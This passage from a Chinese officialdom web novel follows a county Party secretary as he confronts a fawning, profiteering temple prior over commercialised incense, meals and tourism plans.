他强压着翻腾的情绪,尽量保持语调的平稳,但声音里已透出不容置疑的冷硬:“我们不是闲杂人员。我找监院大师有事相询。”
“请让开,或者代为通传一声。”
他报出了此行最重要的目的之一——直接面对这寺庙混乱管理的最高负责人。
然而,他的话语和身份,在对方眼中只是一个普通访客,显然没有丝毫威慑力。
“通传?”另一个马脸、眼神更显阴鸷的武僧嗤笑一声,仿佛听到了天大的笑话,“监院大师是你想见就能见的?”
“少啰嗦,立刻滚回去!”他的态度极其恶劣,完全无视了江昭宁的要求。
话音未落,这两个武僧竟不由分说,猛地窜向前来,伸出蒲扇般的大手,就粗暴地推搡江昭宁!
目标明确,动作迅猛,显然是想用武力强行驱赶这个“不识相”的闯入者。
“你们干什么!”林方政和秦怡同时惊呼,秦怡更是吓得后退了一步。
江昭宁猝不及防,被一股大力推得向后踉跄了一步,脚下湿滑的石板险些让他摔倒。
一股从未有过的屈辱感混合着滔天的怒火直冲脑门!
他堂堂一县之尊,竟在这佛门清净地,如今看来是何等讽刺,被两个看门护院的武僧如此无礼推搡?!
“放肆!”江昭宁一声怒喝,如同平地惊雷,震得林方政和秦怡心头一跳。
就在那马脸武僧的手再次抓向他胳膊的瞬间。
他手腕猛地一翻,一记干脆利落的擒拿格挡动作使出!
这并非花架子,而是多年练武打下的底子,虽然已不经常练,但本能反应仍在!
“哎哟!”那马脸武僧完全没料到这个看似文质彬彬的年轻人竟有如此敏捷的身手和力道。
只觉得手腕剧痛,一股巧劲传来,身体顿时失去平衡,猛地向后一个踉跄。
狼狈地撞在旁边的树干上,震得树叶簌簌落下。
这一下,彻底激怒了这两个平日里在寺内作威作福惯了的武僧。
“你!你竟然敢动手?!”被格挡开的马脸武僧稳住身形,捂着生疼的手腕,又惊又怒。
他的脸色瞬间涨成了猪肝色,眼中凶光毕露,像是受到了奇耻大辱。
他指着江昭宁,声嘶力竭地咆哮道:“活腻味了是吧?!敢在清凉寺撒野?!”
旁边的方脸武僧也怒吼一声。
两人如同被激怒的疯牛,浑身肌肉贲张,杀气腾腾地就要猛扑过来!
那架势,显然是要下重手教训这个不知天高地厚的闯入者!
千钧一发之际!
“住手!!!”
一声更加洪亮、带着惊怒交加和不容置疑权威的暴喝,如同炸雷般响起!
是林方政!
他一个箭步冲到江昭宁身前,张开双臂将其护住,脸色铁青,怒视着两个凶神恶煞的武僧,声音因为极致的愤怒而微微发颤,却字字如刀,清晰地砸向对方:“瞎了你们的狗眼!”
“你们想干什么?!这是县委江昭宁书记!”
“你们吃了熊心豹子胆了?!敢对江书记动手?!敢冒犯县委书记?!”
“县…县委书记?”
“江…江昭宁书记?!”
林方政的话,如同两道无形的、威力巨大的定身符,又像两道九霄落下的惊雷,精准而猛烈地劈在了两个正要猛扑上前的武僧头顶!
两人浑身一个激灵!
那瞬间的凶悍气焰如同被戳破的气球,嗤地一声消失得无影无踪。
扑击的动作硬生生僵在半途,仿佛被无形的寒冰冻住。
脸上的狰狞愤怒瞬间被一种极致的惊恐和难以置信所取代,眼睛瞪得如同铜铃,嘴巴张得能塞进一个鸡蛋,彻底瞠目结舌!
“县委书记?!”这几个字眼在他们的脑海中疯狂炸响!
在东山县这一亩三分地上,县委书记意味着什么?
那是绝对的权威!
是掌控着他们所有人命运的存在!
是真正意义上说一不二、手握生杀予夺大权的“现管”!
在普通百姓,甚至在他们这些依附于寺庙特殊势力的人眼中,县委书记,那几乎就是过去的皇帝老子啊!
是他们绝对惹不起、碰不得的存在!
他们刚才做了什么?
他们不仅粗暴阻拦,还动手推搡了县委书记?
甚至还扬言要教训他?!
巨大的恐惧如同冰冷的毒蛇,瞬间缠绕住他们的心脏,几乎让他们窒息。
两人只觉得一股寒气从脚底板直冲天灵盖,手脚冰凉,身体不受控制地微微颤抖起来。
刚才那股子凶悍劲儿荡然无存,只剩下筛糠般的恐惧。
那马脸武僧脸色煞白如纸,豆大的冷汗瞬间从额头和鬓角冒了出来,顺着青皮头皮往下淌。
方脸武僧也好不到哪去,嘴唇哆嗦着,一个字也说不出来。
“还…还愣着干什么!”方脸武僧反应稍快,声音都变了调,带着哭腔,猛地推了一把还在发懵的马脸武僧,语无伦次地低吼道:“快!快!快去禀报监院大师!”
“快啊!就说…就说江书记…江书记来了!快!!!”
那马脸武僧如梦初醒,惊恐万分地看了江昭宁一眼,如同见了鬼魅,哪里还有半分刚才的凶悍?
他连滚带爬,几乎是手脚并用地转身,跌跌撞撞、失魂落魄地朝着监院住所的方向,发疯似的狂奔而去!
那仓惶逃窜的背影,狼狈至极,仿佛身后有洪水猛兽在追赶。
只剩下方脸武僧,像个木桩子一样僵在原地,走也不是,留也不是。
低着头,身体抖得像秋风中的落叶,连大气都不敢喘一口,巨大的恐惧几乎要将他压垮。
空气仿佛凝固了,只剩下他粗重而压抑的喘息声,以及远处那狂奔报信和尚渐渐消失的、慌乱的脚步声。
江昭宁站在原地,脸色冰冷如霜,他缓缓整理了一下刚才被推搡时弄皱的衣襟,眼神锐利如刀,扫过那筛糠般的武僧。
最终,投向了监院住所的方向。
那目光深处,是压抑到极致的风暴和不容置疑的威压。
一场预料之外的冲突,以一种极具戏剧性和冲击力的方式,将他此行的考察,瞬间推向了更加尖锐、也更加核心的层面。
监院?
他倒要看看,这清凉寺的“土皇帝”,究竟是何方神圣!
不久,一个穿着青灰短褂、眉清目秀的小沙弥出来了。
他双手合十,稚气未脱的脸上堆着过分热络的笑容,目光只直直地投向江昭宁:“阿弥陀佛,贵人到了!”
“里边请,里边请!监院师父恭候着呐!”
他眼神里透着一股与年龄不符的机灵世故,语气里的熟稔与笃定明显得近乎刻意。
第168章 好茶!
小沙弥在前引路,脚步轻快,越往里走,寺院的喧嚣——香客的说话声、诵经的嗡嗡声、木鱼的敲击声、甚至大殿播放的经咒乐声——都被过滤得微不可闻。
一栋古朴雅致、匾额上写着“静思堂”的禅房前。
一个穿着整洁青灰僧衣、身形微胖、长眉细目、笑容可掬的中年僧人早已站在阶下迎候。
正是之前小沙弥口中的监院东妙大师。
他双手合十,对着江昭宁深深躬身,腰弯得异常标准,脸上笑容热切得近乎黏腻:“阿弥陀佛!东妙有礼了!”
“江书记屈尊踏临小寺,蓬荜生辉,蓬荜生辉啊!”
“东妙大师,你认识我?”江昭宁不禁问道。
“不认识,但是您身上的气势让人不可小觑,自然是东山书记无异。”
“您还亲自来看我们这小寺庙,真是心怀慈悲啊,真是心怀慈悲!里边请,里边请!”
他引路的手势近乎舞蹈般的夸张,言辞间溢美之词如江水滔滔,恭敬谦卑得太过周全圆滑,反倒失了出家人该有的清净平和。
只赤裸裸地显露着对上位者驾临的、近乎本能的诚惶诚恐和讨好姿态。
他躬身前引,目光始终牢牢锁住江昭宁的身影,旁边的林方政和秦怡,似乎完全不在他的视野之内。
禅房内陈设简朴却精致。
几张线条圆润的明式禅椅,一张古色古香的茶几,墙角博古架上摆放着几件清雅瓷器。
空气里浮动着淡淡的檀香。
落座后,小沙弥无声无息地奉上清茶,“请各位施主用茶!”
东妙脸上的笑容凝滞了一瞬,仿佛被这轻描淡写的一句话刺破了精心维持的某种平衡。
他对小沙弥不耐烦呵斥,“端开!”
小沙弥一愣,不敢多言,将茶收入托盘,讪讪走开了。
东妙立刻站起身,动作间带起一阵风:“是贫僧疏忽了!怠慢,怠慢!”
他快步走到靠墙的一个上锁的柜子前,掏出钥匙打开,小心翼翼地捧出一个更为考究的紫檀木茶盒。
打开盒盖,里面是单独存放的几小包茶叶,包装精致,印着古树茶山的标识。
“书记,尝尝这个,”东妙重新坐下,手法郑重地将那古树茶投入一把全新的紫砂壶中。
滚水注入,茶香瞬间在室内弥漫开来,馥郁而醇厚,与之前的寡淡判若云泥,“这才是后山向阳坡上那几株老树今年的春尖。”
“寺里每年也就得这么几斤,平常舍不得拿出来。”
他亲自执壶,将金黄油亮的茶汤注入江昭宁面前新换的精致白瓷杯中,动作一丝不苟,充满了仪式感。
氤氲的热气在杯口上方盘旋,模糊了杯壁上精致的暗纹,也模糊了东妙此刻脸上那异常专注的神情——那是一种被更高层级的利益考量骤然点亮的、近乎虔诚的专注。
江昭宁看着杯中重新升腾起的热气,那馥郁的茶香弥漫在鼻尖。
他伸手,指尖触到温热的杯壁,轻轻握住。
他目光平静地迎上东妙那双此刻写满“诚意”的眼睛,嘴角的弧度依旧很淡,像窗外古柏投下的那抹若有若无的影子。
“好茶。”江昭宁的声音不高,落在茶香缭绕的寂静里,却像一滴水落入滚油,“希望这温度,能一直热下去。”
茶烟袅袅,模糊了东妙脸上那重新堆砌起的、更为殷切的谦卑笑容。
东妙这才仿佛“看见”了秦怡和林方政,口中仍不歇:“……这两位,也请坐,请坐!”
然而那话语,更像是一种客套的习惯动作,其意义远大于指向。
他动作缓慢地为秦怡和林方政两位倒上了茶。
“东妙大师,”林方政开门见山,“你认识我吗?去年在前殿我还见过你弘法。”
东妙的目光在林方政脸上轻轻掠过,又迅速垂落,专注地盯着自己捻动佛珠的拇指,声音平淡无波,听不出任何起伏:“不,不认识。”
秦怡立刻欠身,声音带着一种下级引荐上级时特有的清晰与郑重:“大师,这位是我们县旅游局林方政局长。”
“哦?”东妙眉梢微不可察地动了动,终于抬起眼帘,双手合十,动作标准而流畅,声音也仿佛被注入了些许温度,“阿弥陀佛,原来是林局长驾临,贫僧眼拙,多有得罪!”
他微微躬身,袈裟宽大的袖口滑落,露出一截手腕上锃亮的名表,在透过窗棂的微光里反射出一点冷硬的光斑。
东妙监院虽然双手合十,但是心中却是不以为然,十分轻慢。
在他心里,除了可以左右他前程的宗教局长外,其他人是不屑一顾的。
至于县里?
只有那两位能左右宗教局长的书记和县长,才勉强够格让这古刹的监院提起精神,换上最恭敬的姿态——毕竟。
他们的一个眼神,一个态度,足以让宗教局长的前程瞬间改道。
除此之外,诸如眼前这位旅游局长,在他眼中不过是“其他”二字罢了。
就是旅游局长又能怎么样?
还不如文化局,他们还有个文物维修拨款呢。
“我们的目的之一,是为建立农禅文化体验区来调研的!”林方政先说了一个目的。
他话音未落,身旁气息沉静的江昭宁,微微颔首,只吐出一个字,却带着千钧之力:“是的。”
这声“是的”,如同投入深潭的石子,在东妙监院的心湖里激起了汹涌的暗流。
他那张惯于堆砌谦卑笑容的脸上,瞬间被一种近乎亢奋的、急于表现的急切所取代。
他猛地挺直了腰板,双手在膝上用力一按。
“启禀江书记!”东妙的声音陡然拔高,带着一种过分流畅的激昂,每一个字都像精心打磨过的玉石,圆润而精准,听起来不像临场应对,倒像是在背诵一篇演练过无数次的华丽文稿,“您高瞻远瞩,有此深谋远虑之规划,实乃我寺之无上荣光!”
“更是地方文化传承与旅游发展之盛事!”
“敝寺上下,深感大任在肩,定当竭尽全力,不敢有丝毫懈怠!”
他身体微微前倾,那身质料上乘的袈裟随着动作发出细微的摩擦声。
他右手抬起,食指和中指并拢,如同指挥棒般在空中用力地点划,仿佛那虚无的空气里正铺展着一张辉煌的蓝图:“书记!关于建设农禅文化体验区之宏旨,贫僧稍后即刻召集全寺僧众,务必深入学习、深刻领会!”
“至于具体落实,”他语速加快,眼中闪烁着兴奋的光芒,“贫僧已有初步构想,请书记指点!”
“我们依托现有东、西两块核心禅田,共计二十二亩良田沃土!”他手指在空中用力一划,仿佛那片土地就在眼前,“划出核心示范区与深度体验区!”
“双区联动,层次分明!”他越说越激动,唾沫星子在透过窗棂的光束里细微地飞溅,“游客们届时就可以,近距离观察我们的田间管理!”
“更能亲自卷起袖子,参与播种、锄草、乃至最后弯腰收割的每一个环节!”
“让他们切身实感地体会到,那句千百年来颠扑不破的至理名言——粒粒皆辛苦啊!”
“每一个环节,都是修行,都是体悟!”
第169章 正本清源!
说到此处,他声音陡然一转,身体弯了下来,脸上堆起一种秘而不宣、自以为深谙领导心思的谄媚微笑,压低了声音:“至于分享嘛……书记您请放一百个心!”
“所有丰收的稻米啊……都将成为我们清凉寺赠予每位辛勤付出汗水游客的一份厚重功德福报!”
“这叫取之于田,还之于民,普结善缘!”
他眼中精光四射,仿佛已经看到了那激动人心的场面:“我们会特别定制一批精美绝伦的小麻布福袋,素雅古朴,上面绣着‘福满乾坤’四个大字!寓意吉祥圆满!”
他目光扫过林方政、江昭宁,最后落在秦怡身上,笑容愈发灿烂,“保证书记、县长、林局长、还有这位美女以及每一位参与其中的有缘人,都能实实在在、有滋有味地感受到这份来自佛田、来自汗水、来自禅心的馈赠!”
“将这浸透了汗水的福袋捧回家,有滋有味地品尝这份农禅福米!”
“这就是我们清凉寺要传达的生活禅——辛苦酿出的才是真甜!”
“这份甜,才是真甜!这份福,才是真福!”
最后几个字,他几乎是带着咏叹调般的深情说出来的。
汇报完毕,他仿佛耗尽了全身力气,脸上那朵谄媚的笑容却依旧绽放得热烈而期待,目光灼灼地锁定在江昭宁脸上,如同向日葵渴望着太阳的褒奖。
他口干舌燥,下意识地端起面前那杯色泽金黄、香气馥郁的古树春尖茶,小心翼翼地凑到唇边,准备润一润那因过度兴奋而发紧的喉咙。
然而,就在茶水即将沾唇的刹那,他的动作猛地僵住了——如同被无形的冰针刺中。
他看见江昭宁的脸色。
没有预料中的赞许,没有一丝一毫的动容。
那张棱角分明的脸上,沉静得如同一潭深不见底的古井水。
眉宇间非但没有被他的“宏图”所感染,反而随着他刚才那番滔滔不绝的“蓝图”描绘,那份沉静之中凝结的疏离感越来越厚重,几乎化为实质的冰霜。
只有那双深邃的眼眸,深处似乎有看不见的暗流在无声地涌动、聚集,如同被强行压缩到极致的风暴,压抑着令人心悸的力量,沉甸甸地压在茶室的空气里。
让东妙监院的心跳瞬间失控般狂跳起来,端着茶杯的手不受控制地微微颤抖。
那口精心准备、价值不菲的古树春尖,终究没能喝下去。
“好。”江昭宁终于开口了,声音不高,却像一块坚冰投入滚水,瞬间冻结了东妙脸上所有的表情。
他甚至没有碰自己面前那杯同样的好茶,只是将茶杯轻轻往旁边推开了半寸,这个细微的动作带着一种无声的否定。“东妙监院的设想……很有‘效率’。”
他顿了顿,那“效率”二字,轻飘飘的,却像带着倒刺的鞭子,在东妙心头抽了一下。
“不过,”江昭宁的目光如同探照灯,穿透茶香氤氲的空气,牢牢锁住东妙那张开始发僵的脸,“我们此行,还有一个更重要的调研目的。”
东妙监院喉结艰难地上下滚动了一下,仿佛要咽下某种无形的苦涩。
他放下那杯变得无比沉重的茶盏,杯底与茶海相碰,发出轻微却刺耳的磕碰声。
他努力挤出一个比哭还难看的笑容,声音干涩发紧,带着前所未有的小心翼翼:“书……书记,还有什么更重要的调研目的?”
“贫僧……洗耳恭听。”
他放在膝盖上的手,不自觉地攥紧了袈裟的布料。
江昭宁没有立刻回答。他缓缓抬起右手,伸出一根修长而有力的食指。
那指尖仿佛凝聚了千钧的意志,指向的并非东妙,而是穿透了茶室的墙壁,指向寺后那片沐浴在秋阳下的古老禅田,指向那被岁月尘封的厚重过往。
“农禅,”江昭宁的声音沉缓而清晰,每一个字都像重锤敲在磐石上,发出令人灵魂震颤的回响,“不仅仅是在地里种点东西,搞点游客体验,再送点包装精美的米袋子!”
他目光如电,直刺东妙,“那是清凉寺立寺千百年来的根基!是融入历代僧侣血脉的修行法门!”
“是‘一日不作,一日不食’的佛家祖训刻在骨头里的烙印!”
“是这片山水孕育出的独一无二的文化灵魂!”
他的声音陡然拔高,带着一种不容置疑的决心:“我们第二个目的,是要正本清源!是要深挖根脉!”
他手指在空中用力一点,仿佛要点燃什么,“我们要邀请!邀请有名的文化学者、宗教学者,特别是那些精通禅宗历史、深研农禅传统的专家教授!组成一个高规格的学术团队!”
东妙监院脸上的血色瞬间褪得一干二净。
邀请学者?还是有名的?研究农禅?
这完全超出了他精心准备的“旅游开发”剧本!
他脑子里嗡嗡作响,那些关于“福满乾坤”福袋、游客收割体验的热闹画面瞬间碎了一地。
“目的只有一个!”江昭宁的声音斩钉截铁,带着穿透一切浮华的力量,“对清凉寺的农禅文化,进行一次前所未有的、彻彻底底的深度挖掘和系统梳理!”
他目光灼灼,仿佛已经看到了那尘封的历史被拂去尘埃,“我们要把这片浸润了汗水与禅意的古老禅田,打造成一个活的、会呼吸的文化基因库!”
话语至此,江昭宁的目光倏然一转,如同探照灯般精准地投向一脸茫然的东妙监院:“东妙禅师,清凉寺开山是哪位高僧?”
“立寺时的山场田产规牒档案现在何处?”
“历代住持法卷上可曾留下关于农禅实践的具体条文?”
“这?”东妙监院瞠目结舌,他哪知道?
江昭宁停顿了一下,目光更加深沉锐利:“就从百丈怀海祖师亲手铭刻在石上的那句金玉训诫入手——‘一日不作,一日不食’。这一砖一瓦般的基石要凿实、打牢。”
他食指猛地向下一顿,“所有记载!无论卷帙浩繁的贝叶经、藏在藏经楼深处布满尘埃的古经卷、镌刻在碑林风霜里的模糊碑文,还是那些仅仅在历代僧伽中口耳传递、飘散在历史风烟中的歌谣韵句、清规戒条、耕作心诀……”
“凡此种种智慧的吉光片羽,全部都要像淘金者一样,寸寸土地细细筛检,一一捡拾、收集、誊录、拼接、严谨考证!再做精准注解!”
“一个字都不能遗漏!”
“它们汇成的是清凉禅门智慧的命脉!”
第170章 高屋建瓴
江昭宁的目光变得愈发深邃辽远,仿佛穿透了时光烟尘的阻碍:“还有,”他语气忽然加重,“那些被无情岁月埋没、遗忘、深锁库房、甚至零落成泥的实物——祖师大德们曾经亲手攥握过、被烈日暴晒又被汗水浸濡的犁铧!”
“沉甸甸的锄头!闪亮的镰刀!摇动岁月的水车!哪怕它们如今锈蚀残破只剩下半个模糊的刃口,哪怕只剩下一段朽木的握柄残骸,甚至只是一枚锈蚀殆尽的铁钉残片——”
他直视着东妙渐渐变白的脸,“也都要给我从库房里、废墟中、旧物堆里一块一块地找出来!仔细清理!反复钻研考证!弄明白它们的年份、具体用途!”
“每一件器物背后所深藏着的那些浸透了汗水、泪水、乃至禅意的血泪往事!”
“务必使其来路清晰,脉络明确!”
他的声音渐渐凝聚成一股沉厚的洪流,“最终目标是建立一座庄重、严谨的农禅专题博物馆!”
江昭宁这句话掷地有声,“要让那些曾经陪伴祖师劳作的静默农器开口说话!”
“诉说当年清凉寺的僧侣如何在锄头起落、挥汗除草的日常劳作间参悟生命无常至理;如何在春耕夏耘秋收的循环往复里,一步一个脚印体证佛陀所言之不灭真谛!”
他的目光扫过林方政、东妙监院、秦怡,“要让踏进清凉寺的每一个人——无论游客、香客还是虔修者——都能清晰无碍地感受到这种独一无二的修行方式在历史长河中沉淀下来的穿透千年的真实力量!”
“感受它超越时空的强大魅力和生命气息!”
“这才是我们建立农禅文化体验区的根基和灵魂!”
“没有这个魂,你那些游客体验,不过是无源之水,无本之木!是披着农禅外衣的游乐场。”
最后几句话,如同惊雷,在东妙监院耳边炸响。
他精心描绘的“福袋蓝图”在江昭宁这番关于“根基”和“灵魂”的论述面前,瞬间显得如此苍白、如此浮夸、如此……可笑。
他感觉自己的袈裟内衬已经被冷汗浸透,紧贴着脊背,一片冰凉。
阁内一片死寂。
袅绕于空中的香篆细烟仿佛也承受不住无形的压力,被骤然冻结,不再悠然攀升。
良久,东妙监院脸上的肌肉才极其艰难地微微牵动了一下。
方才红光满面、滔滔不绝的气血瞬间退去,仿佛全身精华被抽离出来凝聚成唇间发出的一句。
那声音像是从积满枯叶的古井深处艰难浮起,带着一丝迟滞的、近乎哽咽的颤音:“阿弥陀佛——”
他似乎用尽了毕生的定力才重新找回自己的声线,双手合十于胸前深深一揖:“书记……书记心系地方文化传承,如此高瞻远瞩,深谋远虑!”
“……贫僧……实在感佩莫名。”
他的身躯在这谦卑姿态下微微弯曲,头埋得很低,额头上原本并不易察觉的细密汗珠此刻悄然凝聚,沿着太阳穴旁一丝细微的纹路滚落下来。
紧接着,他仿佛找到了熟悉的节奏与表达方式,声音里重新注入了被惊吓之后刻意强化的、更为饱满的崇敬与顺服:“书记指示高屋建瓴,字字珠玑!”
东妙监院搜肠刮肚,试图用最华丽的词藻来掩饰内心的慌乱与空洞:“简直是醍醐灌顶,振聋发聩!”
“我们清凉寺必然端正态度,以万分郑重、万分用心之诚,认认真真、一丝不苟地落到实处!”
像是要证明他的决心,声音愈发铿锵:“建设农禅博物馆与打造农禅文化体验区双管齐下,让所有游客、香客,不仅能体悟禅机佛法的深邃奥义,更能亲自投身禅田劳作的苦乐之中,真真切切体会粒粒皆辛苦的至真大道!”
他再次将身体躬得更低了些,语气带上了一种近乎献祭般的承诺意味,“清凉古刹,既是一方山水胜景,更是千年佛家之胜庭。”
“弘传正教、服务十方善信是本分天职,能为家乡旅游事业贡献心力,更是……更是义不容辞的神圣使命!”
“书记……您……您真是为我们点亮了前路明灯啊!”
阁中再次陷入短暂的寂静。
江昭宁并未对东妙的表态做出任何回应,仿佛沉浸在自己的思绪之中,又仿佛早已料到这不过是新剧情的引子。
他缓缓地、缓缓地靠向坚硬而冰冷的红木椅背深处,目光垂落,长久凝注于面前那杯被他推到一边的青瓷茶盏。
盏中的清茶色泽澄碧依旧,却在光线下呈现出一种独特的冷滞幽绿。
坐在江昭宁身侧的林方政,将目光从东妙那张强作镇定、汗湿的侧脸上移开。
他第一次真正意识到,江书记轻轻“点”出计划表面浮沫之下掩盖的东西到底是什么。
那并非旅游线路的花样翻新,更非简单的香米福袋馈赠所能承载。
他所思所谋的,是要以抢救的姿态将深埋于这座古寺土壤深处、行将被忘却的历史经脉一点点剥离出来——那些残破农具上凝固的深褐汗印,便是无数无名僧侣于苦行中渗下的信仰血痕。
碑林深处,被风雨磨蚀得线条模糊的碑文间,或许就隐匿着几辈人持镰躬耕的寂然背影;典籍角落泛黄霉变的页脚旁,一句字迹潦草的批注,如闪电般照亮了《百丈清规》中“一日不作,一日不食”这八个字背后,那些以生命践行的无声承诺和巨大牺牲。
江昭宁的手指无意识地在红木椅扶手的冰凉木质棱线上轻轻划过,发出极其细微的“沙沙”声。
他动作缓慢,如同拂拭着岁月积尘下某个神秘符文的纹理。
窗外,几片金黄的银杏叶被秋凉风无声遣送,飘然落向庭院外荒芜的僧田。
田野如旧,安静守望着古刹楼阁投下的深沉影廓。
而窗棂之内,一张无形的探针已在意识深处悄然绷紧,穿透了时空堆积的层层雾障。
东妙监院低垂着头,合十的双手指尖冰凉。
他不敢再迎视江昭宁的目光。
只觉得那目光像两把冰冷的解剖刀,早已将他那精心装扮的“虔诚”与“热忱”剥离得干干净净。
露出了内里仓皇而贫瘠的底色。
他精心泡制的那杯顶级古树春尖,在精致的白瓷杯里,彻底凉透了。
第171章 穷庙富方丈
江昭宁想起了这座庙宇斑驳的朱漆立柱、残缺的琉璃瓦当、蒙尘的佛像金身……
他倏然转向东妙监院,那目光沉静如水,却带着千钧之重:“东妙禅师,殿宇破败如此,为何不修缮一下呢?”
东妙监院合十的双手微微一颤,随即稳住心神,那串被他捻得油光水滑的紫檀佛珠在指间发出细微的摩擦声。
“阿弥陀佛,江书记明鉴,”他声音低沉,带着一丝刻意为之的沉重,“文化局……对古文物拨款修缮,迟迟未有下文啊。”
“寺庙自身,难道不能做些维持?”江昭宁追问,语调平缓,却似无声的惊雷。
“难,难啊!”东妙监院摇头,额角沁出细密的汗珠,光头闪着微光,“实在是……囊中羞涩,没有钱!”
“哦?”江昭宁眉梢微挑,目光锐利如刀,直直刺向对方,“那八十元一张的门票,难道不是收入?”
“这……”东妙监院语塞,喉结滚动了一下,“门票所得,十之七八皆归政府统筹,鄙寺所得,实属寥寥,杯水车薪啊。”
“其他财源呢?”
“其他……其他收费亦是僧多粥少,所得甚微。”东妙监院的声音低了下去。
然而室外却传过来一阵高过一阵的兜售声浪里。
“是吗?”江昭宁唇角勾起一抹冷峭的弧度,那笑意未达眼底,反而淬出更深的寒意。
他抬手,指尖精准地指向殿门外那片喧嚣鼎沸之地:“我观贵寺香火之盛,信众如织。只是这烧香礼佛,竟也需得扫码支付?”
“这香火钱,想必不会少吧?”
他顿了顿,声音陡然转冷,字字如冰珠砸落,“别的寺庙,三支免费清香表诚心即可,你这清凉寺倒好,想烧香?”
“先扫了码再说!”
“这钱,都流进了哪座宝库?”
他目光如鹰隼般穿越室内,仿佛扫过殿前广场上那些临时支起的、花花绿绿的摊棚。
“还有那些,”江昭宁语带讥诮,“粗制滥造的所谓‘开光’手串、挂件、佛像、护身符,叫卖声此起彼伏,比那市井菜场还要热闹几分。”
“这流水般的银子,流向哪儿了?”
“更令人瞠目的是,”江昭宁的声音陡然拔高,带着金石之音,“竟有出家人,拿着封面烫金、印刷极为精美的册子,满面堆笑,主动凑近游客,如商贾推销货物一般,口中念念有词,兜售佛经!”
“说得天花乱坠。”
“这经书钱,又该是笔不小的数目吧?”
东妙监院脸上的血色瞬间褪尽,嘴唇翕动了几下,却发不出任何声音,只剩下喉间压抑的嗬嗬声,豆大的汗珠沿着松弛的脸颊滚落,砸在青砖地上,洇开一小片深色。
他像是被无形的巨掌扼住了咽喉,瞠目结舌,彻底哑然。
“我没有猜错的话,”江昭宁步步紧逼,语气却反而放缓,如同猫戏弄爪下的鼠,“你这清凉寺,应该还供应着香客的斋饭吧?”
“是……是有的。”东妙监院艰难地挤出几个字,抬手用宽大的僧袖胡乱擦拭着额角颈间淋漓的汗水,那汗水却仿佛源源不绝。
“一人套餐,多少银钱?”
“不……不多!”东妙监院的声音带着不易察觉的颤抖。
“多少?”江昭宁的声音不高,却带着不容置疑的穿透力。
“四……四十五元一人。”东妙监院的声音细若蚊蚋。
“四十五元?”江昭宁的声音陡然清朗,如同利剑出鞘,“就是在县城里寻个像样的馆子,有荤有素,也能吃得颇为不错了!”
他话锋骤然一转,变得凌厉如刀,“可你清凉寺的素食,不过是些青菜豆腐、寻常山菇,不见半点荤腥,成本几何?”
“十元可够?”
“那剩下的三十五元,流向了何处?这难道不是暴利?!”
他站了起来,向前踏了一步,无形的威压如山般倾泻而下,目光如炬,直刺东妙监院躲闪的双眼:“东妙法师!我且问你,你究竟是寺里的僧人,还是寺里的商人?”
“这佛门清净地,何时竟成了你等牟利的铺面?”
“莫非如今,竟要靠这般赤裸裸的商业铜臭来吸引世人,供奉佛祖?呵……”
他发出一声短促而冰冷的嗤笑,“难怪有人道——穷庙富方丈!”
“穷庙富方丈”五个字,如同五根烧红的钢针,狠狠扎进东妙监院的耳膜,刺入心底。
他浑身猛地一颤,仿佛被抽去了脊骨,整个人瞬间矮了几分,僵在原地,噤若寒蝉。
室内死寂,只闻殿外嘈杂的叫卖声、扫码提示音和游客的喧哗,更衬得这方寸之地如冰窖般寒冷。
江昭宁并未因这死寂而罢手。
他又坐了下来。
江昭宁目光如寒潭深水,冷冷地注视着眼前这位汗流浃背的监院,忽地抛出一个看似平淡却足以致命的问题:“东妙和尚,出家人的根本戒律——十诫,想必你是熟知的吧?”
这问题来得突兀,却又在情理之中。
东妙监院紧绷的心弦似乎被这“熟悉”的话题轻轻拨动了一下,他如蒙大赦,几乎是抢着回答:“知道!贫僧自然知道!”
“既是如此,”江昭宁语气依旧平淡无波,却带着不容抗拒的力量,“每日晨昏定省,打坐诵经,持戒修心,是沙门弟子的本分。”
“未曾敢辍!”
“那么此刻,当着我们三位的面,将这十诫从头至尾背诵一遍,想来……于你并非难事?”
“不难不难!江书记,这个不难!”东妙监院灰败的脸上陡然焕发出一种近乎回光返照般的光彩,仿佛溺水之人抓住了最后一根浮木。
他挺直了佝偻的腰背,面色竟奇迹般地由死灰转为一种笃定的红润,先前被江昭宁步步紧逼的狼狈与恐慌,在触及这烂熟于心的“本分”时,如同潮水般暂时退去,显露出一种近乎庄严的自信。
“老僧于此十诫,早已铭刻五内,便是倒背,亦能如流!”
他清了清嗓子,声音陡然洪亮清晰,带着一种近乎表演的流畅,在空旷而压抑的大殿内回荡。
“十戒是:不杀生、不偷盗、不邪淫、不妄语、不饮酒、不涂饰、不歌舞及旁听、不坐高广大床、不非时食、不蓄金银财宝。”
最后一个字音落下,余韵犹在。
他微微昂首,目光扫过江昭宁和他身后沉默的林方政、秦怡,那神情仿佛在说:看,这便是我的根基,我的依凭。
江昭宁静静地听着,脸上看不出喜怒,如同古井深潭。
待那最后一个“宝”字的余音在大殿梁柱间彻底消散,他才缓缓开口,声音不高,却带着一种洞穿人心的力量:“解释一下?”
第172章 价值不菲吧?
“解释?”东妙监院一愣,那刚刚建立的、脆弱的自信堡垒似乎摇晃了一下。
背诵条文他烂熟于心,但要他阐释其中深意,尤其在这位目光如刀的书记面前……
他心头掠过一丝不祥的阴云,强自镇定道:“十戒乃佛门根本大戒,亦称十重戒,乃沙弥、沙弥尼入门必持之根本。”
“便是受了菩萨戒的四众弟子,亦须终身奉持,此为修行之基,解脱之本。”
他试图用这些庄重的术语构筑起一道屏障。
“哦?根本大戒?”江昭宁又站了起来,他向前一步,他的影子几乎将东妙监院完全笼罩。
他抬起手,指尖并未指向室外,但那无形的压力却让东妙监院不由自主地顺着他的目光,仿佛穿透了殿墙,看到了广场上那些喧嚣的二维码、那些被热情推销的“开光”之物、那标价四十五元的素斋摊位……
“法师方才背诵,字字铿锵,倒背如流,可见这十诫,确然是‘刻骨铭心’了。”他的话语带着一种奇异的停顿,每一个字都敲在东妙监院的心尖上。
“那么,请法师再为我等凡夫俗子,详解一番……”江昭宁的声音陡然沉凝,如同冰层下的暗流汹涌,“这‘不偷盗’一戒,何解?”
“是仅指那明火执仗、破门入户的贼行?”
“还是说……”他目光如电,直刺东妙监院骤然收缩的瞳孔,“那将信徒虔诚供奉的香火钱,巧立名目,层层盘剥,中饱私囊之举,亦在其列?”
“那‘不妄语’一戒,又作何解?”
“是单指那市井无赖的胡言乱语?”
“抑或是……”江昭宁的声音陡然拔高,字字如惊雷炸响,“那口宣佛号,身披袈裟,却将粗制滥造之物冠以‘开光’之名,将寻常斋饭标以天价,巧言令色,欺瞒哄骗四方善信之行径,也算妄语?!”
室内死一般的寂静。
空气仿佛凝固成了沉重的实体,压迫着每一个人的胸腔。
